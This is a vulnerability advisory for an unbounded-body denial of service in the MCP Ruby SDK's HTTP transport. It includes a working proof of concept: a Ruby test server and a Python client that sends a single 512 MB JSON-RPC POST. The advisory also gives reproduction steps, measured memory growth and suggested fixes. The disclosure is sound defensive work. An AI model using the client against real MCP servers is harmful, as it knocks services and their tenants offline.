Summary

An unauthenticated remote attacker can force any MCP Ruby SDK server using MCP::Server::Transports::StreamableHTTPTransport to allocate gigabytes of memory by sending a single oversized JSON-RPC POST. The transport reads the entire HTTP body into a Ruby String and parses it with JSON.parse(body, symbolize_names: true) with no size limit, no Content-Length pre-check, and no streaming parser, allowing trivial denial of service against the worker process.

Affected component

lib/mcp/server/transports/streamable_http_transport.rb, method handle_post:

• Line 341: body_string = request.body.read — reads the full HTTP body into memory with no upper bound.
• Lines 531–535: JSON.parse(body_string, symbolize_names: true) — fully materialises the parsed object graph; with symbolize_names: true every JSON key also allocates a Ruby symbol.

The vulnerable path runs before session validation, so it is reachable in both the default stateful mode and in stateless: true mode, without an Mcp-Session-Id header and without any prior authentication.

A second instance of the same root cause exists in lib/mcp/server/transports/stdio_transport.rb:23 ($stdin.gets with no limit: argument). The practical impact there is limited because the stdio peer is normally a trusted parent process, but the fix should cover both transports.

Proof of concept

Both files below are self-contained. Save them anywhere on disk, run the server in one terminal and the client in another. The only dependencies are the SDK's existing Gemfile entries (rack ~> 3.2, rackup >= 2.1.0, webrick ~> 1.9) and Python's standard library.

Server (oom_poc_server.rb)

require "bundler/setup"
require "mcp"
require "mcp/server/transports/streamable_http_transport"
require "rackup"
require "webrick"
require "rackup/handler/webrick"

server = MCP::Server.new(name: "oom-poc-target", tools: [])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(
  server, stateless: true, enable_json_response: true,
)

Thread.new do
  loop do
    rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024
    STDERR.puts("[mem] PID=#{Process.pid} RSS=#{rss_mb} MB")
    sleep 2
  end
end

STDERR.puts("[poc] listening on http://127.0.0.1:9293/")
Rackup::Handler::WEBrick.run(
  transport,
  Host: "127.0.0.1", Port: 9293,
  AccessLog: [], Logger: WEBrick::Log.new(File::NULL),
)

Client (oom_poc_client.py)

import socket

HOST, PORT, PAYLOAD_MB = "127.0.0.1", 9293, 512

inner = b"A" * (PAYLOAD_MB * 1024 * 1024 - 64)
body  = b'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"x":"' + inner + b'"}}'

headers = (
    f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n"
    f"Content-Type: application/json\r\n"
    f"Accept: application/json, text/event-stream\r\n"
    f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode()

s = socket.create_connection((HOST, PORT), timeout=120)
s.sendall(headers)
for i in range(0, len(body), 1 << 20):
    s.sendall(body[i:i + (1 << 20)])
print(f"sent {PAYLOAD_MB} MB")
try:
    print("recv:", s.recv(2048)[:200])
except OSError as e:
    print("server unresponsive:", e)

Reproduction commands

bundle install
ruby oom_poc_server.rb              # terminal A
python3 oom_poc_client.py           # terminal B

Observed result

Tested on macOS, Ruby 3.2.4 (rbenv), against the SDK's main branch with rack 3.2.6 / rackup 2.3.1 / webrick 1.9.2:

[mem] PID=61394 RSS=44   MB        # idle baseline
[mem] PID=61394 RSS=44   MB
[mem] PID=61394 RSS=44   MB
[mem] PID=61394 RSS=1663 MB        # immediately after one 512 MB POST
[mem] PID=61394 RSS=1663 MB        # memory not released
[mem] PID=61394 RSS=1663 MB

A single unauthenticated POST grew the worker's RSS from 44 MB to 1.66 GB (~37× amplification). On any deployment with a per-worker memory cap at or below ~2 GB, the same request OOM-kills the worker.

Impact

• Attacker requirements: none beyond TCP reach of the MCP endpoint. No session, no credentials, no prior interaction.
• Effect: memory-exhaustion denial of service. A single request can take a worker offline; sustained low-rate requests keep the service down across worker restarts. On multi-tenant deployments a single attacker tenant can starve neighbours.
• Affected deployments: every server mounting MCP::Server::Transports::StreamableHTTPTransport as a Rack app — the canonical HTTP deployment pattern. Both stateful and stateless: true configurations are affected.

Suggested mitigation

1. Reject requests whose Content-Length (or actual read length) exceeds a configurable threshold (e.g. 4 MiB by default) before calling request.body.read.
2. Use a streaming JSON parser, or pass max_nesting: plus a hard byte cap to JSON.parse.
3. Apply the same limit: argument to $stdin.gets in StdioTransport for defence in depth.